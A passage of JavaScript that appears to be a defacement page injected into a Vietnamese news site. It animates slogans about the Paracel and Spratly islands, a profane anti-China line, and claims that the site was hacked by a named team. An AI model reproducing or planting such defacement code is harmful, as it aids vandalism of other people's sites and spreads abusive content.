label.length; i++) {\r\n\t\tlabel[i].style.color = 'white';\r\n\t}\r\n}\r\n\r\nfunction changePosition() {\r\n\tfor (let i = 0; i < textSet.length; i++) {\r\n\t\tfor (let j = 0; j < textSet[i][1].length; j++) {\r\n\t\t\tlet tempX = textSet[i][1][j].offsetLeft + \"px\";\r\n\t\t\tlet tempY = textSet[i][1][j].offsetTop + \"px\";\r\n\t\t\tsetTimeout(function() {\r\n\t\t\t\ttextSet[i][1][j].style.position = \"absolute\";\r\n\t\t\t\ttextSet[i][1][j].style.left = tempX;\r\n\t\t\t\ttextSet[i][1][j].style.top = tempY;\r\n\t\t\t}, 50);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nfunction changeCircle() {\r\n\tisCircle = true;\r\n\tclock.style.transform = \"rotate(90deg)\";\r\n}\r\nclass TextScramble {\r\n constructor(el) {\r\n this.el = el;\r\n this.chars = '!<>-_\\\\\/[]{}\u2014=+*^?#________';\r\n this.update = this.update.bind(this);\r\n }\r\n setText(newText) {\r\n const oldText = this.el.innerText;\r\n const length = Math.max(oldText.length, newText.length);\r\n const promise = new Promise(resolve => this.resolve = resolve);\r\n this.queue = [];\r\n for (let i = 0; i < length; i++) {\r\n const from = oldText[i] || '';\r\n const to = newText[i] || '';\r\n const start = Math.floor(Math.random() * 40);\r\n const end = start + Math.floor(Math.random() * 40);\r\n this.queue.push({\r\n from,\r\n to,\r\n start,\r\n end\r\n });\r\n }\r\n cancelAnimationFrame(this.frameRequest);\r\n this.frame = 0;\r\n this.update();\r\n return promise;\r\n }\r\n update() {\r\n let output = '';\r\n let complete = 0;\r\n for (let i = 0, n = this.queue.length; i < n; i++) {\r\n let {\r\n from,\r\n to,\r\n start,\r\n end,\r\n char\r\n } = this.queue[i];\r\n if (this.frame >= end) {\r\n complete++;\r\n output += to;\r\n } else if (this.frame >= start) {\r\n if (!char || Math.random() < 0.28) {\r\n char = this.randomChar();\r\n this.queue[i].char = char;\r\n }\r\n output += `<span class=\"dud\">${char}<\/span>`;\r\n } else {\r\n output += from;\r\n }\r\n }\r\n this.el.innerHTML = output;\r\n if (complete === this.queue.length) {\r\n this.resolve();\r\n } else {\r\n this.frameRequest = requestAnimationFrame(this.update);\r\n this.frame++;\r\n }\r\n }\r\n randomChar() {\r\n return this.chars[Math.floor(Math.random() * this.chars.length)];\r\n }\r\n}\r\n\r\nconst phrases = ['# Hoang Sa & Truong Sa #', '\/ Belong to \/', '\/ Vietnamese\/', '# Fuck OFF China #', '\/ Your website has been hacked \/', '\/ We The Say Goodbye! \/', '\/ I\\'m Wussun Team \/'];\r\nconst el = document.querySelector('.text');\r\nconst fx = new TextScramble(el);\r\nlet counter = 0;\r\nconst next = () => {\r\n fx.setText(phrases[counter]).then(() => {\r\n setTimeout(next, 900);\r\n });\r\n counter = (counter + 1) % phrases.length;\r\n};\r\nnext();\r\nwindow.requestAnimationFrame = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame;\r\n\r\nvar canvas = document.getElementById(\"c\");\r\nvar ctx = canvas.getContext(\"2d\");\r\nvar w = canvas.width = window.innerWidth;\r\nvar h = canvas.height = window.innerHeight;\r\nvar particles = {};\r\nvar particleIndex = 0;\r\nvar maxParticles = 40;\r\nvar hue = 0;\r\nvar mouseX, mouseY;\r\n\r\nfunction resizeCanvas(){\r\n w = canvas.width = window.innerWidth;\r\n h = canvas.height = window.innerHeight;\r\n}\r\n\r\n\r\nfunction Particle(){\r\n this.x = mouseX || w\/2;\r\n this.y = mouseY || h\/3;\r\n this.size = this.random(50);\r\n this.color = \"hsla(\"+hue+\", 100%, 50%, .01)\";\r\n this.maxLife = this.random(200);\r\n this.life = 0;\r\n this.vx = this.random(-5, 5);\r\n this.vy = this.random(-1, 1);\r\n this.grav = .003;\r\n this.index = particleIndex;\r\n particles[particleIndex] = this;\r\n particleIndex++;\r\n}\r\n\r\nParticle.prototype = {\r\n\r\n constructor: Particle,\r\n\r\n draw: function(){\r\n ctx.fillStyle = this.color;\r\n ctx.fillRect(this.x, this.y, this.size, this.size);\r\n this.update();\r\n },\r\n\r\n update: function(){\r\n if(this.life >= this.maxLife){\r\n delete particles[this.index];\r\n }\r\n this.x += this.vx;\r\n this.y += this.vy;\r\n this.vy += this.grav;\r\n this.life++;\r\n },\r\n\r\n random: function(){\r\n var \r\n min = arguments.length == 1 ? 0 : arguments[0],\r\n max = arguments.length == 1 ? arguments[0] : arguments[1];\r\n return Math.random() * (max - min) + min;\r\n }\r\n\r\n};\r\n\r\nfunction animate(){\r\n ctx.fillStyle = \"rgba(0,0,0,.1)\";\r\n ctx.fillRect(0,0,w,h);\r\n\r\n for(var i = 0; i<maxParticles; i++){\r\n particles[i] = new Particle();\r\n }\r\n for(var i in particles){\r\n particles[i].draw();\r\n }\r\nhue += .3;\r\n window.requestAnimationFrame(animate);\r\n}\r\nwindow.addEventListener(\"resize\", function(){\r\n resizeCanvas();\r\n});\r\n\r\ncanvas.addEventListener(\"mousemove\", function(e){\r\n mouseX = e.offsetX;\r\n mouseY = e.offsetY;\r\n});\r\ncanvas.addEventListener(\"mouseleave\", function(e){\r\n mouseX = null;\r\n mouseY = null;\r\n});\r\nanimate();\r\n <\/script>\r\n <script>\r\n var canvas=document.createElement(\"canvas\"),height=canvas.height=window.innerHeight,width=canvas.width=window.innerWidth,ctx=canvas.getContext(\"2d\");function random(r,t){return Math.random()*(t-r+1)+r}function range_map(r,t,e,a,i){return(r-t)*(i-a)\/(e-t)+a}document.body.appendChild(canvas);for(var word_arr=[],txt_min_size=5,txt_max_size=25,keypress=!1,acclerate=2,i=0;i<25;i++)word_arr.push({x:random(0,width),y:random(0,height),text:\"404\",size:random(txt_min_size,txt_max_size)}),word_arr.push({x:random(0,width),y:random(0,height),text:\"hacked\",size:random(txt_min_size,txt_max_size)}),word_arr.push({x:random(0,width),y:random(0,height),text:\"error\",size:random(txt_min_size,txt_max_size)}),word_arr.push({x:random(0,width),y:random(0,height),text:\"404\",size:Math.floor(random(txt_min_size,txt_max_size))});function render(){ctx.fillStyle=\"rgba(0,0,0,1)\",ctx.fillRect(0,0,width,height),ctx.fillStyle=\"#ff1100\";for(var r=0;r<word_arr.length;r++){ctx.font=word_arr[r].size+\"px sans-serif\";var t=ctx.measureText(word_arr[r].text);ctx.fillText(word_arr[r].text,word_arr[r].x,word_arr[r].y),word_arr[r].x+=keypress?range_map(word_arr[r].size,txt_min_size,txt_max_size,2,4)*acclerate:range_map(word_arr[r].size,txt_min_size,txt_max_size,2,3),word_arr[r].x>=width&&(word_arr[r].x=2*-t.width,word_arr[r].y=random(0,height),word_arr[r].size=Math.floor(random(txt_min_size,txt_max_size)))}ctx.fill(),requestAnimationFrame(render)}render(),window.addEventListener(\"keydown\",(function(){keypress=!0}),!0),window.addEventListener(\"keyup\",(function(){keypress=!1}),!0);\r\n <\/script>\r\n<\/body>\r\n\r\n<\/html>"); </script>.

Đăng ký để cập nhật tin tức mới nhất từ chúng tôi